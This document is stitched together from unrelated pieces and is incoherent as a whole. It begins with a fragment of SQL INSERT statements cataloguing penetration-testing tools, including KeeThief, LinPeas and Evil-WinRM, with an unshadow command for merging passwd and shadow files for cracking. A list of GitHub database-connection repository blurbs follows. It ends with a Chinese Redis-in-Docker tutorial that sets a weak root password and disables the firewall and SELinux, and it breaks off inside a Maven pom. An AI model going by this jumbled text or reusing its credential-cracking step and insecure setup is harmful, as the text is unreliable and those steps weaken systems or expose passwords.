'Utility', 'Packet sniffer', 'https://www.wireshark.org/download/docs/user-guide.pdf', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hash-Identifier', 'Utility', '(superseeded by Name-That-Hash)A simple python program for identifying hashes', 'man pages on linux', NULL, 'Hash', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Scp', 'Utility', 'For transfering files over SSH connection', 'man pages on llinux', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBClient', 'Utility', 'Used to connect to SMB file shares, can be used to enumerate shares', 'man pages on linux', 'Connect', 'SMB', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PowerShell', 'Utility', 'Powerfull comand line for Windows', 'https://www.pdq.com/powershell/', NULL, 'Windows', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Searchsploit', 'Enum', 'Local version of ExploitDB', 'https://www.exploit-db.com/searchsploit', 'Exploit Enum', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Vim', 'Utiility', 'Text editor', 'https://vimhelp.org/', NULL, 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('LinPeas', 'Post', 'For Enumerating Linux computers', 'Simply run on a linux computer', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nikto', 'Enum', 'For full enumeration on websites', 'https://cirt.net/nikto2-docs/', 'Exploit Enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Radare2', 'Utility', 'A tooll used to reverse engineer programs', 'https://github.com/radareorg/radare2/blob/master/doc/intro.md', 'Reverse', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Evil-WinRM', 'Exploit', 'Malware exuivilent of WinRM and used to exploit windows systems', 'https://github.com/Hackplayers/evil-winrm', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Seatbelt', 'Post', 'Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives', 'https://github.com/GhostPack/Seatbelt', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WinPeas', 'Post', 'For full enumeration of windows host (internal)', 'https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Lockless', 'Post', 'LockLess is a C# tool that allows for the enumeration of open file handles and the copying of locked files', 'https://github.com/GhostPack/Lockless', 'File interaction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SQLMap', 'Exploit', 'Automates the process of detecting and exploiting SQL injection flaws and taking over of database servers', 'http://sqlmap.org/', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('KEETheif', 'Post', 'Allows for the extraction of KeePass 2.X key material from memory, as well as the backdooring and enumeration of the KeePass trigger system', 'https://github.com/GhostPack/KeeThief', 'File interacction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('TheHarvester', 'Enum', 'The objective of this program is to gather emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database', 'https://tools.kali.org/information-gathering/theharvester', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('jSQLInjection', 'Enum', 'used for gathering SQL databse information form a distant source', 'https://tools.kali.org/vulnerability-analysis/jsql', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hping', 'Enum', 'Ping command on steroids, used to enumerating firewalls', 'https://tools.kali.org/information-gathering/hping3', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux Exploit Suggester', 'Post', 'keeps track of vulnerabilities and suggests exploits to gain root access', 'https://tools.kali.org/exploitation-tools/linux-exploit-suggester', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unix-PrivEsc-Check', 'Post', ' It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps, written in a single shell script so is easy to upload', 'https://tools.kali.org/vulnerability-analysis/unix-privesc-check', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Dotdotpwn', 'Enum', 'It’s a very flexible intelligent fuzzer to discover traversal directory vulnerabilities in software such as HTTP/FTP/TFTP servers', 'https://tools.kali.org/information-gathering/dotdotpwn', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Websploit', 'Enum, Exploit', 'Swiss-army-knife of web exploits ranging from social engineering to honeypots and everything in between', 'https://tools.kali.org/web-applications/websploit', NULL, 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('XSSer', 'Enum', 'To detect, exploit and report XSS vulnerabilities in web-based applications', 'https://tools.kali.org/web-applications/xsser', 'Exploit enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Name-That-Hash', 'Utility', 'Hash-identifier with more deatils and command line based', 'https://github.com/HashPals/Name-That-Hash', NULL, 'N/A', 'N', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBMap', 'Enum', 'enumerate shares over a domin', 'https://tools.kali.org/information-gathering/smbmap', 'Scanning', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Redis-Cli', 'Exploit', 'used for interacting and exploiting reddis-cli on port 6379', 'https://book.hacktricks.xyz/pentesting/6379-pentesting-redis ; https://redis.io/topics/rediscli', 'SQL', 'SQL', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unshadow', 'POST', 'Combining passwd and shadow files into 1', 'simply use: unshadow <passwd file> <shadow file> > <output file>', 'Passwords', 'Hash', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WPScan', 'Enum', 'Look for vulnerabilities in wordpress site', 'https://github.com/wpscanteam/wpscan', 'Scanning', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Netcat', 'Utility', 'used for connecting 2 computers', 'https://www.win.tue.nl/~aeb/linux/hh/netcat_tutorial.pdf', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux commands', 'Post', 'Linux commands used for Priv esc', 'https://gtfobins.github.io, https://wadcoms.github.io', 'Priv Esc', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CrackMapExec', 'Enum,, Exploit', 'Swis army knife of network testing', 'https://ptestmethod.readthedocs.io/en/latest/cme.html', 'Scanning, Exploit', 'Networks', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('IKE-Scan', 'Enum', 'Used to dicover, fingerprint and test IPsec VPN systems', 'http://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide', 'Scanning', 'VPN', NULL, NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PSK-Crack', 'Exploit', 'attempts to crack IKE Aggressive Mode pre-shared keys that have previously been gathered using ike-scan with the --pskcrack option', 'https://linux.die.net/man/1/psk-crack', 'Connect, Brute', 'Wifi', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CeWL', 'Enum', 'spiders a given url returning a wordlist that is intednded for cracking passwords', 'https://tools.kali.org/password-attacks/cewl', 'Brute', 'Web', 'Y', NULL); COMMIT TRANSACTION; PRAGMA foreign_keys = on;
djangonauts / Djorm Ext PoolDB-API2 connection pool for Django (for postgresql, mysql and sqlite)
kpgalligan / Android Database Locking Collisions ExampleShow db locking and collisions with multiple connections
floatdrop / Express Mongo DbGet db connection in request object
JC-Coder / Db MoverDB Mover is an open-source tool designed to simplify the complex process of database migration. It eliminates the need for complex CLI commands, connection strings wrestling, and manual dump file management. With DB Mover, you can stream multi-cloud enterprise datasets with absolute precision, zero structural loss, and sub-second latency.
dafalcon / PgresetAutomatically kill postgres connections during db:reset
Codility / Redis ProxyA simple Redis proxy built for seamless DB replacement (pause, switch, and resume without breaking client connections)
hexdigest / PrepPrep finds all SQL statements in a Go package and instruments db connection with prepared statements
Mustafa-Hassan2001 / PandaMart C Sharp With SQL DB ConnectionNo description available
jangorecki / DwtoolsData Warehouse, Business Intelligence, data integration helpers. Unifies database connectors to DBI, RJDBC, RODBC, csv. Easy managing multiple simultaneous db connections. MDX like queries on cube class object. Data modelling helpers, denormalization of star schema and snowflake schema, basic normalization. And more.
drkostas / High SqlA high-level sql command utility. Currently only MySQL is supported.
ronaldobim / PascalDBPoolConnectionGeneric Database Connection Pooling for Delphi/Lazarus/FreePascal
ddiyteam / Webapitemplate Netcore.NET Core WebAPI template with JWT token auth, DB connection, Health checks and HTTP client proxy examples.
tangcr / Redis Redis是什么 Redis是一个NOSQL,NOSQL有许多种,它们分为: 列存储,如:Hbase、Cassandra这种 文档存储,如:MongoDB(首推) key-value存储,如:Berkeley DB、MemcacheDB、Redis,其中Redis最强 图存储,这块基本不用,有:Neo4j、Versant XML存储,如:Berkeley DB Xml还有XBASE,ORACLE很早已经支持这种存储方式了 光知道这些NOSQL的名词是没有用的,关键在于要知道在哪种场景下选用哪种NOSQL才是我们真正要去掌握的。 我们这边说Redis就拿Redis说事吧,它能干什么呢? Redis基础应用场景 web间session共享,即多个war工程共享一个session 分布式缓存,因为redis为键值对,而且它提供了丰富的adapter可以支持到C、.net、java客户端,因此对于异质平台间进行数据交换起到了作用,因此它可以用作大型系统的分布式缓存,并且其setnx的锁常被用于”秒杀“,”抢红包“这种电商活动场景中。 安装Redis 我本来想在这儿写”Redis上的‘坑‘“,最后我还是觉得把它放到后面章节中去写吧,因为中国人的思维是先有感性再有理性的一种逆向思维,其实这点很像美国人,因此中国人在世界上是最聪明的民族之一,所以我们还是先从动手搭一个Redis的环境来说起吧,老规矩,红色加粗很重要。 一定要使用Linux来布署Redis,请不要偷懒使用Redis 2.8.1 for windows那个版本,如果你使用了这个版本你将无法跟上这一系列教程的步伐。因为Redis为GCC+这样的东西开发出来的,它天生就是运行在LINUX/Unix环境下的,而那个windows版的Redis是一个”烟“割版,而且是一个unofficial的版本,非官方授权的哈。 先从Docker开始 如果已经有Linux/Unix环境的同协们可以直接跳过这一章。 我们这边要开始变态了,因为我们要真正开始踏上SOA、PAAS、互联网的脚步了。 如果对于没有Linux/Unix环境的用户来说,我在这边推荐使用docker,即boot2docker windows版来安装,它下载后是一个这样的文件 安装前把你的网络连接中的IPV6协议前的勾去掉 双击它,在安装时记得选择Virtual-Box选项,因为docker本为linux/unix下之物,因此为了在windows下使用docker,boot2docker内嵌了一个virtualbox来虚拟docker的环境。 装完后它会在你的桌面上生成一个蓝色的图标,双击它,它会打开一个绿色的字,黑色的背景像matrix电影里的那种命令行窗口,这就是Docker。 装完后运行: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker@boot2docker:~$ docker run hello-world 看到下面这些提示 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 Hello from Docker. This message shows that your installation appears to be working correctly. To generate this message, Docker took the following steps: 1. The Docker client contacted the Docker daemon. 2. The Docker daemon pulled the “hello-world” image from the Docker Hub. (Assuming it was not already locally available.) 3. The Docker daemon created a new container from that image which runs the executable that produces the output you are currently reading. 4. The Docker daemon streamed that output to the Docker client, which sent it to your terminal. To try something more ambitious, you can run an Ubuntu container with: $ docker run -it ubuntu bash For more examples and ideas, visit: http://docs.docker.com/userguide/ 说明你的Docker安装成功了。 在Docker中安装unix环境 有了Docker我们就用Docker虚拟一个Ubuntu(UNIX)环境吧,在这边我们使用的是Ubuntu14。 ubuntu14请下载这个包:戳: 下载Ubuntu14包 下载后直接在docker下运行下面这条命令: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 cat ubuntu-14.04-x86_64.tar.gz |docker import - ubuntu:ubuntu14 这个过程会很快,完成后查看自己的image: 成功导入了ubuntu,这样我们就可以在Docker中运行出一个自己的ubuntu了。 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker run -i -t ubuntu:ubuntu14 /bin/bash 以上运行后,进入了该ubuntu的bash环境。 注:如果上述命令出错,可以使用下面这条命令: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker run -i -t ubuntu:ubuntu14 //bin/bash 两个 “/” 哈 如果你能看到类似于root@ubuntu14_这样的命令行界面说明你的ubuntu14也已经安装成功了,下面我们就要在这个docker->ubuntu14中安装和布署我们的Redis了,这个过程和在Linux下一样。 在ubuntu14下先安装SSHD,以便于我们使用WINSCP这样的SFTP工具来管理我们的ubuntu14中的文件系统 在ubuntu14中安装SSHD 第一步: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker run -t -i ubuntu/mk:v1 /bin/bash 进入我们的ubuntu环境,这边的ubuntu/mk就是我本机的docker中ubuntu14 container(容器)的名字,如果按照上面的延续此处可以替换成ubuntu:ubuntu14这个名字吧。 第二步: 升级一下你的apt-get,它就是一个命令行IE下载工具,如果你不update,那么你apt-get的源、内核都为旧的,因此为了升级apt-get请键入下面的命令 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 apt-get update 这个过程很快(依赖于你的网络环境) 第三步: 下载和安装openssh组件 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 apt-get install openssh-server openssh-client 第四步: 修改你的root密码 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 passwd 键入两次你的root密码,我这边都为6个小写的a 第五步: 退出容器,并保存以上修改,如果docker在退出后你接着退出docker环境或者是关机那么刚才的4步全部不生效,你一定要commit它才能生效,为此: 你先要知道你刚才用docker run命令运行的ubuntu14的容器的ID,你可以使用 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker ps -a 来查到你latest的一次容器的ID,它是一组16进制一样的编码如:1edfb9aabde8890,有了这个container id我们就可以commit我们刚才装的openssh的环境了 commit刚才在容器中所做的修改 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker commit 1edfb9aabde8890 ubuntu:ssh 第六步: 运行带有openssh的ubuntu14以便于我们使用winscp这样的SFTP工具连入我们的ubuntu14中去,依次输入下面的命令: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker kill $(docker ps -q) 杀掉正在运行的所有的container的进程 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker rm $(docker ps -a -q) 删除所有在进程中的容器,以上2步又被称为docker大扫除 Docker是这样的机制的,它可以开启多个容器,每个容器带着一堆的image(镜像),要删一个镜像必须先停止这个镜像所在的容器,再把这个镜像删除,因此我们使用上面这两条命令对于Docker来一个大扫除。 接着我们先查一下我们目前手头有的镜像 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker images 你会看到一个images列表,里面有我们的ubuntu:14,有我们的ubuntu:ssh也有一个hello-world,我们把ubuntu:14这个镜像删了吧(为了保持干净哈) 每个image也它自己的id,即image id,因此你用docker images命令查到该镜像的id后可以使用: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker rmi imageid 这条命令把一个不用的镜像给删了。 接下去我们要启动我们的ubuntu14:ssh了,可以使用下面这条命令: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker -d -p 122:22 ubuntu:ssh //usr/sbin/sshd -D 这条命令的意思为: -d即把我们的image启动在后台进程,它将会是一个daemon进程,而不会像刚才我们使用-t一样,一旦exit后该image进程也自动退出了 -p为端口映射,什么意思呢,这边要说一下docker的端口映射问题。我们知道docker安装后它会利用virtualbox中的vhost only的nat机制来建立一个虚拟的IP 可以打开我们的virtualbox中在菜单”全局->设定->网络”中进行查找 所以我们可以知道一旦boot2docker环境运行后它的地址为192.168.56.*这个段,一般为192.168.56.101这个地址,你可以在boot2docker启动后直接使用winscp边入这个docker环境。 地址:192.168.56.101 端口:22 用户名:docker 密码:tcuser 以上为默认值,具体地址按照你的virtualbox中在boot2docker安装时自动给出的设置来做参考。 而, 我们在这个docker中安装了一个ubuntu14:ssh的image,然后用后台进程的方式打开了这个ubuntu14:ssh,因此它自己也有一个IP(可能是172也可能是169段),具体不得而知,一般来说它是每次启动镜像后自己变换的(可以使用动态网络域名绑定docker中镜像的ip来达到域名不变的目的-集群环境下有用)。 我们都知道ssh是以端口22来进行TCP连接的,因此我们把ubuntu14的IP上的22端口映射到了我们的docker主机192.168.56.101上的122端口。 参数//usr/sbin/sshd -D代表该镜像启动会的entrypoint即启动后再启动一个什么命令,在最后的-D(大写的D)告诉docker这是一个启动文件 于是,一旦该命令发出后,显示image启动的提示后(启动后你会得到一个image id)你就可以直接打开你的winscp使用: 地址:192.168.56.101 端口:122 (此处是122,不是22,因为我们把image的22端口映射到了192.168.56.101-docker主机上的122端口了) 用户名:root 密码:aaaaaa 即可以连入我们的ubuntu14环境了,如果此时你安装了putty还可以使用putty+winscp直接进入ubuntu14的命令行环境中去,于是你就有ubuntu14的试验环境了。 在ubuntu14下安装redis 网上很多在ubuntu14下安装redis的教程都不对的,大家看了要上当的,原因在于如下,请各位看完: 网上的redis环境搭建直接使用的是apt-get update完后用wget https://github.com/ijonas/dotfiles/raw/master/etc/init.d/redis-server 这样的方式来安装的,这样装固然方便,可是也因为方便所以取到的redis不是最新的redis版本,一般为2.8.x版或者是redis3.0.rc,这依赖于你的unit/linux所连接的wget库 redis为c写成,它的2.4-2.8版都为不稳定版或者是缺少功能或者是有bug,而这些bug在你如果真正使用redis作为网站生产环境时将会因为这些bug而无法面对峰涌而来的巨大并发,因此当有这样的redis运行了一段时间后你的生产环境会面临着巨大的压力 还是redis不够新不够稳定的原因,由于在redis3前redis还不支持集群、主备高可用方案的功能,因此不得不依靠于繁杂的打补丁式的如:linux/unix-keepalive或者是haproxy这种系统级层面然后写一堆的复杂脚本去维护你的redis集群,还要用外部手段(Linux/Unix Shell脚本)去维护多个redis节点间的缓存数据同步。。。这这这。。。不复合我们的网站扩容、增量、运维和面对巨大用户(万级并发-最高支持百万用户如:新浪微博、微信)的场景 因此,我在这边推荐大家使用下面我将要使用的“下载源码包结合你本机的Linux/Unix内核进行实时编译”的安装过程。 第一步:下载redis目前最稳定版本也是功能最完善,集群支持最好并加入了sentinel(哨兵-高可用)功能的redis3.0.7版即redis-stable版,为此我们需要获取redis-stable版 redis官方下载连接 就是用的这个redis-stable.tar.gz包,这是我在写博客时目前最新最稳定版本,修复了大量的BUG和完善了功能。 第二步: 下载后我们把该包上传到我们的docker中的ubuntu14中,我们把它放在/opt目录下 然后我们使用tar -zxvf redis-stable.tar.gz对它进行解压 解压后它就会生成一个redis-stable目录,进入该目录 cd redis-stable 别急,我们先一会编译和安装它 第三步:编译安装redis 我们先输入gcc -v 这个命令来查看我们的gcc版本,如果它低于4.2以下那么你在编译redis3.0.7时一定会碰到大量的出错信息,如前面所述,redis为gcc写成,最新的redis需要gcc4.2-5这个版本才能进行编译,而一般去年或者之前装的linux/unix 的 gcc都为4.0以下或者甚至是3.x版。 升级GCC先 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 apt-get install build-essential 因此apt-get update显得很重要,要不然你获取的gcc也将不是最新的版本,目前我的gcc为5.3.1为这周刚做的升级。 升级后我们开始编译redis3.0.7了,为此我们需要在redis-stable目录下 键入如下命令: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 make PREFIX=/usr/local/redis1 install 我们告知我们的GCC把redis-stable编译并同时安装在/usr/local/redis1目录下 这个过程很快,可能只有10秒钟时间(依据你的机器来说,建议使用>=8gb, 4核CPU的PC机),然后我们就可以看到everything ok了。我们进入/usr/local/redis1就可以看到我们刚才安装的redis3.0.7稳定版了。 我们进入我们的redis目录 cd /usr/local/redis1/bin 在此目录下我们即可以运行我们的redis server了,不过请别急,在启动前我们需要对redis进行一些配置。 我的博客面对的是“全栈式”工程师的,架构师只是成为全栈式工程师中的一个起点,如果你不会搭环境那么你就不能接触到最新的技术,因此这就是许多程序员工作了近5年,7年结果发觉也只会一个SSH的主要原因。 Redis3配置要领 使用winscp通过122连入docker下的ubuntu14,进行redis的配置。 我们需要编辑的文件为/usr/local/redis1/bin/redis.conf这个文件 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 daemonize yes # When running daemonized, Redis writes a pid file in /var/run/redis.pid by # default. You can specify a custom pid file location here. pidfile "/var/run/redis/redis1.pid" # Accept connections on the specified port, default is 6379. # If port 0 is specified Redis will not listen on a TCP socket. port 7001 我们把: daemonize设为yes,使得redis以后台进程的方式来运行,你可以认为为“server”模式,如果redis以server模式运行的话它会生成一个pid文件 ,因此我们把它的路径放在/var/run/redis目录中,并命名它为redis1.pid文件 ,为此你需要在/var/run目录下建立redis这个目录 端口号我们把它设为7001,这样好辩识,因为将来我们会进一步做redis集群,所以我们的redis都为redis1, redis2, redis3那么我们的端口号也为7001, 7002, 7003。。。这样来延续。那么很多同协这时要问了,“为什么我们不把它命名成master, slave1, slave2这样的名字呢?”,理由很简单,无论是现在的hadoop还是zookeeper它们的集群是跨机房的,多个master间也有MASTER-SLAVE模式互为备份,因为一些大型网站不仅仅只有一个IDC机房,它们一般都会有2个,3个IDC机房,或者是在同一个IDC机房中有“跨机柜”的布署来形成超大规模集群,就和ALI的TAOBAO网一样,它在北美都有机房,因此当你需要在LOCAL NATIVE建一个IDC机房,在北美再做一个机房,你不要想把一个MASTER设在中国,SLAVE设到美国去,而是多地甚至是多机柜都有MASTER,一旦一个MASTER宕机了,这种集群会通过一个叫“选举策略”选出一个节点把这个节点作为当前“群”的MASTER,因此我们的命名才会是redis1, redis2, redis3...这样来命名的。 此处把原来的: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 save 900 1 save 300 10 save 60 10000 中的300 10 和60 10000注释掉。这边代表的是: redis以每900秒写一次、300秒写10次,60秒内写1万次这样的策略把缓存放入一个叫.rdb的磁盘文件中,这点和ehcache或者是memcache很像,以便于redis在重启时可以从本地持久化文件中找出关机前的数据记录。 如果按照默认的话,此三个策略会轮流起效,在大并发环境中,这样的写策略将会对我们的性能造成巨大的影响,因此我们这边只保留900秒写1次这条策略,这边有人会问,如果你这样会有数据丢失怎么办。。。别急,这个问题我们后面会解答,这涉及到redis的“正确”使用,如果它只是一个缓存,我相信5分钟内缓存的丢失此时程序直接访问数据库也不会有太大问题,又要保证数据完整性又要保证性能这本身是一个矛与盾的问题,除非你钱多了烧那我会给出你一个烧钱的配置策略,连新浪都不会这么烧钱,呵呵。 dbfilename,此处我们维持redis原有的缓存磁盘文件的原名 dir "/usr/local/redis1/data"为rdb文件所在的目录 这边大家要注意的是一个是只能写文件名,另一个地方只能写目录名。 为此我们需要在/usr/local/redis1下建立 data目录。 把此处的appendonly设为no,这样我们就关闭了Redis的AOF功能。 AOF 持久化记录服务器执行的所有写操作命令,并在服务器启动时,通过重新执行这些命令来还原数据集。AOF是redis在集群或者是高可用环境下的一个同步策略,它会不断的以APPEND的模式把redis的缓存中的数据从一个节点写给另一个节点,它对于数据的完整性保证是要高于rdb模式的。 RDB 是一个非常紧凑(compact)的文件,它保存了 Redis 在某个时间点上的数据集。 这种文件非常适合用于进行备份: 比如说,你可以在最近的 24 小时内,每小时备份一次 RDB 文件,并且在每个月的每一天,也备份一个 RDB 文件。 这样的话,即使遇上问题,也可以随时将数据集还原到不同的版本。RDB 非常适用于灾难恢复(disaster recovery):它只有一个文件,并且内容都非常紧凑,可以(在加密后)将它传送到别的数据中心如阿里的mysql异地机房间使用FTP传binlog的做法。 按照官方的说法,启用AOF功能,可以在redis高可用环境中如果发生了故障客户的数据不会有高于2秒内的历史数据丢失,它换来的代价为高昂的I/O开销,有些开发者为了追求缓存中的数据100%的正确有时会碰到因为redis在AOF频繁刷新时整个环境如死机一的情况,并且你会看到恶梦一般的”Asynchronous AOF fsync is taking too long “警告信息,这是因为redis它是单线程的,它在进行I/O操作时会阻塞住所有的操作,包括登录。。。这个很可怕,不过这个BUG/ISSUE已经在最新redis中进行了优化,它启用了另一根进程来进行AOF刷新,包括优化了RDB持久化功能,这也是为什么我让大家一定一定要用最新最稳定版的redis的原因。 一般默认情况下redis内的rdb和AOF功能同为开启, 如果RDB的数据不实时,同时使用两者时服务器重启也只会找AOF文件。 因为RDB文件只用作后备用途,建议只在Slave上持久化RDB文件,而且只要15分钟备份一次就够了,所以我只保留save 900 1这条规则。 如果Enalbe AOF: 好处是在最恶劣情况下也只会丢失不超过两秒数据,启动脚本较简单只load自己的AOF文件就可以了。 代价一是带来了持续的IO,二是AOF rewrite的最后将rewrite过程中产生的新数据写到新文件造成的阻塞几乎是不可避免的。只要硬盘许可,应该尽量减少AOF rewrite的频率,AOF重写的基础大小默认值64M太小了,可以设到5G以上。默认超过原大小100%大小时重写,这边可以设定一个适当的数值。 如果不Enable AOF ,仅靠Master-Slave Replication 实现高可用性也可以。能省掉极大的IO也减少了rewrite时带来的系统波动。代价是如果Master/Slave同时倒掉(那你的网站基本也就歇了),会丢失十几分钟的数据,启动脚本也要比较两个Master/Slave中的RDB文件,载入较新的那个。新浪微博就选用了这种架构。 最后我们不要忘了设一个redis的log文件,在此我们把它设到了/var/log/redis目录,为此我们需要在/var/log目录下建立一个redis目录。 好了,保存后我们来启动我们的redis吧。 我们使用以下这条命令来启动我们的redis server。 然后我们在我们的windows机上装一个windows版的redis 2.8.1 for windows(只用它来作为redis的client端) 然后我们在windows环境下使用: redis-cli -p 7001 -h 192.168.56.101 咦,没反映,连不上,哈哈。。。。。。 那是肯定连不上的,因为: 我们刚才在用docker启动ubuntu14时使用docker -d -p 122:22 ubuntu:ssh //usr/sbin/sshd -D来启动的,这边我们并未把redis服务的7001端口映射到192.168.56.101这台docker主机上,怎么可以通过windows主机(可能windows的ip为169.188.xx.xx)来访问docker内的进程服务呢?对吧,为此我们:先把刚才做了这么多的更改docker commit成一个新的image如:redis:basic吧。 然后我们对docker进行一次大扫除,然后我们启动redis:basic这个image并使用以下命令: [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker -d -p 122:22 -p 7001:7001 redis:basic //usr/sbin/sshd -D 看,此处我们可以使用多个-p来作docker内容器的多端口映射策略(它其实使用的就是iptables命令)。 好了,用putty连入这个image的进程并启动redis服务,然后我们拿windows中的redis-cli命令来连。 如果在linux环境下还是没有连通(可能的哦),那是因为你没有禁用linux下的防火墙,我们可以使用iptables -F来禁用linux的防火墙或者使用: vi /etc/selinux/config 然后把 SELINUX=enforcing 这句用”#“注释掉 增加一句: SELINUX=disabled #增加 这样每次启动后linux都不会有iptables的困扰了(这是在本机环境下这么干哦,如果你是生产环境请自行加iptables策略以允许redis服务端口可以被访问)。 看到下面这个PONG即代表你的redis服务已经在网络环境中起效了。 下面我们要开始使用Java客户端来连我们的Redis Service了。 使用Spring Data + JEDIS来连接Redis Service Spring+Session+Redis pom.xml 在此我们需要使用spring data和jedis,下面给出相关的maven配置 [html] view plain copy 在CODE上查看代码片派生到我的代码片 <dependencies> <!-- poi start --> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi</artifactId> <version>${poi_version}</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml-schemas</artifactId> <version>${poi_version}</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-scratchpad</artifactId> <version>${poi_version}</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml</artifactId> <version>${poi_version}</version> </dependency> <!-- poi end --> <!-- active mq start --> <dependency> <groupId>org.apache.activemq</groupId> <artifactId>activemq-all</artifactId> <version>5.8.0</version> </dependency> <dependency> <groupId>org.apache.activemq</groupId> <artifactId>activemq-pool</artifactId> <version>${activemq_version}</version> </dependency> <dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-spring</artifactId> <version>3.16</version> </dependency> <!-- active mq end --> <!-- servlet start --> <dependency> <groupId>javax.servlet</groupId> <artifactId>servlet-api</artifactId> <version>${javax.servlet-api.version}</version> <scope>provided</scope> </dependency> <dependency> <groupId>javax.servlet.jsp</groupId> <artifactId>jsp-api</artifactId> <version>2.1</version> <scope>provided</scope> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> </dependency> <!-- servlet end --> <!-- redis start --> <dependency> <groupId>redis.clients</groupId> <artifactId>jedis</artifactId> <version>2.7.2</version> </dependency> <dependency> <groupId>org.redisson</groupId> <artifactId>redisson</artifactId> <version>1.0.2</version> </dependency> <!-- redis end --> <dependency> <groupId>org.slf4j</groupId> <artifactId>jcl-over-slf4j</artifactId> <version>${slf4j.version}</version> </dependency> 